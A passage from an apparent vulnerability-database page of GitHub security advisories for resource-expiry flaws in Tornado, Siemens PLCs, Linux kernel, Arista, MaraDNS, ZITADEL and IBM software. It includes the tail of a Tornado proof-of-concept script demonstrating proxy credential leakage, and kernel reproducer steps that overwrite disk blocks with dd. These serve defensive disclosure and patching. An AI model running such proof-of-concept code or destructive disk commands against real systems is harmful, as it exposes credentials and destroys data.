proxy_port=proxy_a.port,\n proxy_username=\"alice\", proxy_password=\"secretA\",\n request_timeout=5, connect_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n \"http://target.example/b\",\n proxy_host=\"127.0.0.1\", proxy_port=proxy_b.port,\n request_timeout=5, connect_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n proxy_a.stop()\n proxy_b.stop()\n\n a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None\n b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None\n expected = \"Basic \" + base64.b64encode(b\"alice:secretA\").decode()\n\n print(f\"{\u0027request\u0027:\u003c42}{\u0027Proxy-Authorization seen by that proxy\u0027}\")\n print(f\"{\u0027-\u0027 * 42}{\u0027-\u0027 * 40}\")\n print(f\"{\u0027A -\u003e proxy A (alice:secretA specified)\u0027:\u003c42}{a or \u0027(none)\u0027}\")\n print(f\"{\u0027B -\u003e proxy B (NO credentials specified)\u0027:\u003c42}{b or \u0027(none)\u0027}\")\n print()\n if b and expected in b:\n print(f\"VERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials \"\n f\"({expected}) although request B specified no proxy_username.\")\n return 0\n print(f\"VERDICT: not reproduced (proxy B saw: {b!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`):\n\n```\nrequest Proxy-Authorization seen by that proxy\n----------------------------------------------------------------------------------\nA -\u003e proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\nB -\u003e proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==\n\nVERDICT: VULNERABLE \u2014 proxy B received alice\u0027s credentials (Basic\nYWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.\n```\n\n## Impact\n\n* **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse\n of a resource whose sensitive state was not cleared (CWE-672).\n* **Actors:** An application that issues requests with differing per-request\n options on a shared `CurlAsyncHTTPClient` \u2014 for Vector A, mixing per-request\n `client_cert` requests with non-certificate requests; for Vector B,\n multiplexing requests across more than one proxy with per-proxy credentials.\n* **Effect:** For Vector A, the client completes the TLS client-authentication\n handshake \u2014 proving possession of the private key and disclosing the\n certificate subject and chain \u2014 to a host that was never meant to receive it.\n For Vector B, proxy basic-auth credentials are transmitted (base64) to a\n different proxy. If the unintended host/proxy is attacker-controlled or\n attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable\n endpoint, or a proxy chosen from user-controlled configuration), the credential\n is disclosed to the attacker.\n* **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend\n with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not\n affected (and does not support proxies).\n\nProposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:\n`CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is\nHigh because exploitation depends on the application using differing per-request\noptions on a shared client and on handle scheduling.\n\n## Mitigation\n\nA single fix closes all instances of this class: call `curl.reset()` at the start\nof `_curl_setup_request` and then re-apply the per-request options, so no state\nfrom a prior request can persist on the reused handle. (Note `curl.reset()` also\nclears `CAINFO`, which the current code intentionally leaves untouched \u2014 see the\ncomment at lines 401-409 \u2014 so that default would need to be re-established after\nthe reset.)\n\nAlternatively, add explicit clearing branches mirroring the existing\n`PROXYUSERPWD`/`USERPWD` handling:\n\n```python\n# client certificate\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\nelse:\n curl.unsetopt(pycurl.SSLCERT)\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\nelse:\n curl.unsetopt(pycurl.SSLKEY)\n\n# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)\nif request.proxy_username:\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\nelse:\n curl.unsetopt(pycurl.PROXYUSERPWD)\n\n# network interface\nif request.network_interface:\n curl.setopt(pycurl.INTERFACE, request.network_interface)\nelse:\n curl.unsetopt(pycurl.INTERFACE)\n```\n\nUntil a fix is available, use a separate `CurlAsyncHTTPClient` instance per\ndistinct credential set (per client certificate / per proxy credential), or use\n`SimpleAsyncHTTPClient` where applicable.",
"id": "GHSA-pw6j-qg29-8w7f",
"modified": "2026-06-15T20:37:24Z",
"published": "2026-06-15T20:37:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-pw6j-qg29-8w7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/tornadoweb/tornado"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse"
}
GHSA-PWF7-GCHP-6GF8
Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-03-17 00:05A vulnerability has been identified in SIMATIC Drive Controller family (All versions < V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions >= V4.5.0 < V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions >= V2.9.2 < V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions >= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packets over port 102/tcp. A restart of the affected device is needed to restore normal operations.
{
"affected": [],
"aliases": [
"CVE-2021-37185"
],
"database_specific": {
"cwe_ids": [
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-09T16:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SIMATIC Drive Controller family (All versions \u003c V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions \u003e= V4.5.0 \u003c V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions \u003e= V2.9.2 \u003c V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions \u003e= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packets over port 102/tcp. A restart of the affected device is needed to restore normal operations.",
"id": "GHSA-pwf7-gchp-6gf8",
"modified": "2022-03-17T00:05:52Z",
"published": "2022-02-10T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37185"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-838121.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q6W5-274C-4FJ8
Vulnerability from github – Published: 2025-01-19 12:31 – Updated: 2026-05-12 15:30In the Linux kernel, the following vulnerability has been resolved:
dm array: fix releasing a faulty array block twice in dm_array_cursor_end
When dm_bm_read_lock() fails due to locking or checksum errors, it releases the faulty block implicitly while leaving an invalid output pointer behind. The caller of dm_bm_read_lock() should not operate on this invalid dm_block pointer, or it will lead to undefined result. For example, the dm_array_cursor incorrectly caches the invalid pointer on reading a faulty array block, causing a double release in dm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put().
Reproduce steps:
- initialize a cache device
dmsetup create cmeta --table "0 8192 linear /dev/sdc 0" dmsetup create cdata --table "0 65536 linear /dev/sdc 8192" dmsetup create corig --table "0 524288 linear /dev/sdc $262144" dd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1 dmsetup create cache --table "0 524288 cache /dev/mapper/cmeta \ /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"
- wipe the second array block offline
dmsteup remove cache cmeta cdata corig mapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \ 2>/dev/null | hexdump -e '1/8 "%u\n"') ablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \ 2>/dev/null | hexdump -e '1/8 "%u\n"') dd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock
- try reopen the cache device
dmsetup create cmeta --table "0 8192 linear /dev/sdc 0" dmsetup create cdata --table "0 65536 linear /dev/sdc 8192" dmsetup create corig --table "0 524288 linear /dev/sdc $262144" dmsetup create cache --table "0 524288 cache /dev/mapper/cmeta \ /dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0"
Kernel logs:
(snip) device-mapper: array: array_block_check failed: blocknr 0 != wanted 10 device-mapper: block manager: array validator check failed for block 10 device-mapper: array: get_ablock failed device-mapper: cache metadata: dm_array_cursor_next for mapping failed ------------[ cut here ]------------ kernel BUG at drivers/md/dm-bufio.c:638!
Fix by setting the cached block pointer to NULL on errors.
In addition to the reproducer described above, this fix can be verified using the "array_cursor/damaged" test in dm-unit: dm-unit run /pdata/array_cursor/damaged --kernel-dir
{
"affected": [],
"aliases": [
"CVE-2024-57929"
],
"database_specific": {
"cwe_ids": [
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-19T12:15:27Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndm array: fix releasing a faulty array block twice in dm_array_cursor_end\n\nWhen dm_bm_read_lock() fails due to locking or checksum errors, it\nreleases the faulty block implicitly while leaving an invalid output\npointer behind. The caller of dm_bm_read_lock() should not operate on\nthis invalid dm_block pointer, or it will lead to undefined result.\nFor example, the dm_array_cursor incorrectly caches the invalid pointer\non reading a faulty array block, causing a double release in\ndm_array_cursor_end(), then hitting the BUG_ON in dm-bufio cache_put().\n\nReproduce steps:\n\n1. initialize a cache device\n\ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"\ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"\ndmsetup create corig --table \"0 524288 linear /dev/sdc $262144\"\ndd if=/dev/zero of=/dev/mapper/cmeta bs=4k count=1\ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\\n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"\n\n2. wipe the second array block offline\n\ndmsteup remove cache cmeta cdata corig\nmapping_root=$(dd if=/dev/sdc bs=1c count=8 skip=192 \\\n2\u003e/dev/null | hexdump -e \u00271/8 \"%u\\n\"\u0027)\nablock=$(dd if=/dev/sdc bs=1c count=8 skip=$((4096*mapping_root+2056)) \\\n2\u003e/dev/null | hexdump -e \u00271/8 \"%u\\n\"\u0027)\ndd if=/dev/zero of=/dev/sdc bs=4k count=1 seek=$ablock\n\n3. try reopen the cache device\n\ndmsetup create cmeta --table \"0 8192 linear /dev/sdc 0\"\ndmsetup create cdata --table \"0 65536 linear /dev/sdc 8192\"\ndmsetup create corig --table \"0 524288 linear /dev/sdc $262144\"\ndmsetup create cache --table \"0 524288 cache /dev/mapper/cmeta \\\n/dev/mapper/cdata /dev/mapper/corig 128 2 metadata2 writethrough smq 0\"\n\nKernel logs:\n\n(snip)\ndevice-mapper: array: array_block_check failed: blocknr 0 != wanted 10\ndevice-mapper: block manager: array validator check failed for block 10\ndevice-mapper: array: get_ablock failed\ndevice-mapper: cache metadata: dm_array_cursor_next for mapping failed\n------------[ cut here ]------------\nkernel BUG at drivers/md/dm-bufio.c:638!\n\nFix by setting the cached block pointer to NULL on errors.\n\nIn addition to the reproducer described above, this fix can be\nverified using the \"array_cursor/damaged\" test in dm-unit:\n dm-unit run /pdata/array_cursor/damaged --kernel-dir \u003cKERNEL_DIR\u003e",
"id": "GHSA-q6w5-274c-4fj8",
"modified": "2026-05-12T15:30:44Z",
"published": "2025-01-19T12:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-57929"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/017c4470bff53585370028fec9341247bad358ff"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/6002bec5354f86d1a2df21468f68e3ec03ede9da"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/738994872d77e189b2d13c501a1d145e95d98f46"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9c7c03d0e926762adf3a3a0ba86156fb5e19538b"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/e477021d252c007f0c6d45b5d13d341efed03979"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f2893c0804d86230ffb8f1c8703fdbb18648abc8"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/fc1ef07c3522e257e32702954f265debbcb096a7"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-Q7V5-HRGW-5GJH
Vulnerability from github – Published: 2025-09-05 18:31 – Updated: 2025-10-17 15:30In the Linux kernel, the following vulnerability has been resolved:
io_uring/futex: ensure io_futex_wait() cleans up properly on failure
The io_futex_data is allocated upfront and assigned to the io_kiocb async_data field, but the request isn't marked with REQ_F_ASYNC_DATA at that point. Those two should always go together, as the flag tells io_uring whether the field is valid or not.
Additionally, on failure cleanup, the futex handler frees the data but does not clear ->async_data. Clear the data and the flag in the error path as well.
Thanks to Trend Micro Zero Day Initiative and particularly ReDress for reporting this.
{
"affected": [],
"aliases": [
"CVE-2025-39698"
],
"database_specific": {
"cwe_ids": [
"CWE-416",
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-05T18:15:46Z",
"severity": "HIGH"
},
"details": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/futex: ensure io_futex_wait() cleans up properly on failure\n\nThe io_futex_data is allocated upfront and assigned to the io_kiocb\nasync_data field, but the request isn\u0027t marked with REQ_F_ASYNC_DATA\nat that point. Those two should always go together, as the flag tells\nio_uring whether the field is valid or not.\n\nAdditionally, on failure cleanup, the futex handler frees the data but\ndoes not clear -\u003easync_data. Clear the data and the flag in the error\npath as well.\n\nThanks to Trend Micro Zero Day Initiative and particularly ReDress for\nreporting this.",
"id": "GHSA-q7v5-hrgw-5gjh",
"modified": "2025-10-17T15:30:57Z",
"published": "2025-09-05T18:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39698"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/508c1314b342b78591f51c4b5dadee31a88335df"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d34c04152df517c59979b4bf2a47f491e06d3256"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/d9f93172820a53ab42c4b0e5e65291f4f9d00ad2"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-915"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QM38-553V-42W8
Vulnerability from github – Published: 2026-06-05 18:31 – Updated: 2026-06-05 18:31On affected platforms with hardware IPSec support running Arista EOS with certain IPsec features enabled, EOS may exhibit unexpected behavior in specific cases. Physical interface flaps and certain agent restarts can cause IPsec tunnel re-establishment with existing Security Associations, resulting in sequence number mismatches between tunnel endpoints potentially causing unstable communication.
{
"affected": [],
"aliases": [
"CVE-2026-2379"
],
"database_specific": {
"cwe_ids": [
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T18:17:05Z",
"severity": "HIGH"
},
"details": "On affected platforms with hardware IPSec support running Arista EOS with certain IPsec features enabled, EOS may exhibit unexpected behavior in specific cases. Physical interface flaps and certain agent restarts can cause IPsec tunnel re-establishment with existing Security Associations, resulting in sequence number mismatches between tunnel endpoints potentially causing unstable communication.",
"id": "GHSA-qm38-553v-42w8",
"modified": "2026-06-05T18:31:40Z",
"published": "2026-06-05T18:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2379"
},
{
"type": "WEB",
"url": "https://www.arista.com/en/support/advisories-notices/security-advisory/23419-security-advisory-0134"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-QQPW-WXFV-VFCG
Vulnerability from github – Published: 2022-11-19 00:30 – Updated: 2025-04-29 15:31An issue was discovered in MaraDNS Deadwood through 3.5.0021 that allows variant V1 of unintended domain name resolution. A revoked domain name can still be resolvable for a long time, including expired domains and taken-down malicious domains. The effects of an exploit would be widespread and highly impactful, because the exploitation conforms to de facto DNS specifications and operational practices, and overcomes current mitigation patches for "Ghost" domain names.
{
"affected": [],
"aliases": [
"CVE-2022-30256"
],
"database_specific": {
"cwe_ids": [
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-19T00:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in MaraDNS Deadwood through 3.5.0021 that allows variant V1 of unintended domain name resolution. A revoked domain name can still be resolvable for a long time, including expired domains and taken-down malicious domains. The effects of an exploit would be widespread and highly impactful, because the exploitation conforms to de facto DNS specifications and operational practices, and overcomes current mitigation patches for \"Ghost\" domain names.",
"id": "GHSA-qqpw-wxfv-vfcg",
"modified": "2025-04-29T15:31:14Z",
"published": "2022-11-19T00:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30256"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/06/msg00019.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3VSMLJX25MXGQ6A7UPOGK7VPUVDESPHL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/NB7LDZM5AGWC5BHHQHW6CP5OFNBBKFOQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3VSMLJX25MXGQ6A7UPOGK7VPUVDESPHL"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NB7LDZM5AGWC5BHHQHW6CP5OFNBBKFOQ"
},
{
"type": "WEB",
"url": "https://maradns.samiam.org"
},
{
"type": "WEB",
"url": "https://maradns.samiam.org/security.html#CVE-2022-30256"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2023/dsa-5441"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QR2H-7PWM-H393
Vulnerability from github – Published: 2024-09-19 16:08 – Updated: 2024-09-20 14:18Impact
ZITADEL's user account deactivation mechanism did not work correctly with service accounts. Deactivated service accounts retained the ability to request tokens, which could lead to unauthorized access to applications and resources.
Patches
2.x versions are fixed on >= 2.62.1 2.61.x versions are fixed on >= 2.61.1 2.60.x versions are fixed on >= 2.60.2 2.59.x versions are fixed on >= 2.59.3 2.58.x versions are fixed on >= 2.58.5 2.57.x versions are fixed on >= 2.57.5 2.56.x versions are fixed on >= 2.56.6 2.55.x versions are fixed on >= 2.55.8 2.54.x versions are fixed on >= 2.54.10
Workarounds
Instead of deactivating the service account, consider creating new credentials and replacing the old ones wherever they are used. This effectively prevents the deactivated service account from being utilized.
- Revoke all existing authentication keys associated with the service account
- Rotate the service account's password
Questions
If you have any questions or comments about this advisory, please email us at
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.62.0"
},
{
"fixed": "2.62.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.61.0"
},
{
"fixed": "2.61.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.60.0"
},
{
"fixed": "2.60.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.59.0"
},
{
"fixed": "2.59.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.58.0"
},
{
"fixed": "2.58.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.57.0"
},
{
"fixed": "2.57.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.56.0"
},
{
"fixed": "2.56.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.55.0"
},
{
"fixed": "2.55.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/zitadel/zitadel/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.54.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47000"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-19T16:08:01Z",
"nvd_published_at": "2024-09-20T00:15:03Z",
"severity": "HIGH"
},
"details": "### Impact\nZITADEL\u0027s user account deactivation mechanism did not work correctly with service accounts. Deactivated service accounts retained the ability to request tokens, which could lead to unauthorized access to applications and resources.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.62.1](https://github.com/zitadel/zitadel/releases/tag/v2.62.1)\n2.61.x versions are fixed on \u003e= [2.61.1](https://github.com/zitadel/zitadel/releases/tag/v2.61.1)\n2.60.x versions are fixed on \u003e= [2.60.2](https://github.com/zitadel/zitadel/releases/tag/v2.60.2)\n2.59.x versions are fixed on \u003e= [2.59.3](https://github.com/zitadel/zitadel/releases/tag/v2.59.3)\n2.58.x versions are fixed on \u003e= [2.58.5](https://github.com/zitadel/zitadel/releases/tag/v2.58.5)\n2.57.x versions are fixed on \u003e= [2.57.5](https://github.com/zitadel/zitadel/releases/tag/v2.57.5)\n2.56.x versions are fixed on \u003e= [2.56.6](https://github.com/zitadel/zitadel/releases/tag/v2.56.6)\n2.55.x versions are fixed on \u003e= [2.55.8](https://github.com/zitadel/zitadel/releases/tag/v2.55.8)\n2.54.x versions are fixed on \u003e= [2.54.10](https://github.com/zitadel/zitadel/releases/tag/v2.54.10)\n\n### Workarounds\nInstead of deactivating the service account, consider creating new credentials and replacing the old ones wherever they are used. This effectively prevents the deactivated service account from being utilized.\n\n- Revoke all existing authentication keys associated with the service account\n- Rotate the service account\u0027s password\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at \n\n[security@zitadel.com](mailto:security@zitadel.com)",
"id": "GHSA-qr2h-7pwm-h393",
"modified": "2024-09-20T14:18:22Z",
"published": "2024-09-19T16:08:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zitadel/zitadel/security/advisories/GHSA-qr2h-7pwm-h393"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47000"
},
{
"type": "PACKAGE",
"url": "https://github.com/zitadel/zitadel"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ZITADEL\u0027s Service Users Deactivation not Working "
}
GHSA-QW7Q-7PGR-V8PH
Vulnerability from github – Published: 2024-05-22 21:30 – Updated: 2024-05-22 21:30IBM App Connect Enterprise 12.0.1.0 through 12.0.12.1 could allow an authenticated user to obtain sensitive user information using an expired access token. IBM X-Force ID: 288175.
{
"affected": [],
"aliases": [
"CVE-2024-31894"
],
"database_specific": {
"cwe_ids": [
"CWE-324",
"CWE-672"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-22T20:15:09Z",
"severity": "MODERATE"
},
"details": "IBM App Connect Enterprise 12.0.1.0 through 12.0.12.1 could allow an authenticated user to obtain sensitive user information using an expired access token. IBM X-Force ID: 288175.",
"id": "GHSA-qw7q-7pgr-v8ph",
"modified": "2024-05-22T21:30:35Z",
"published": "2024-05-22T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31894"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/288175"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7154606"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.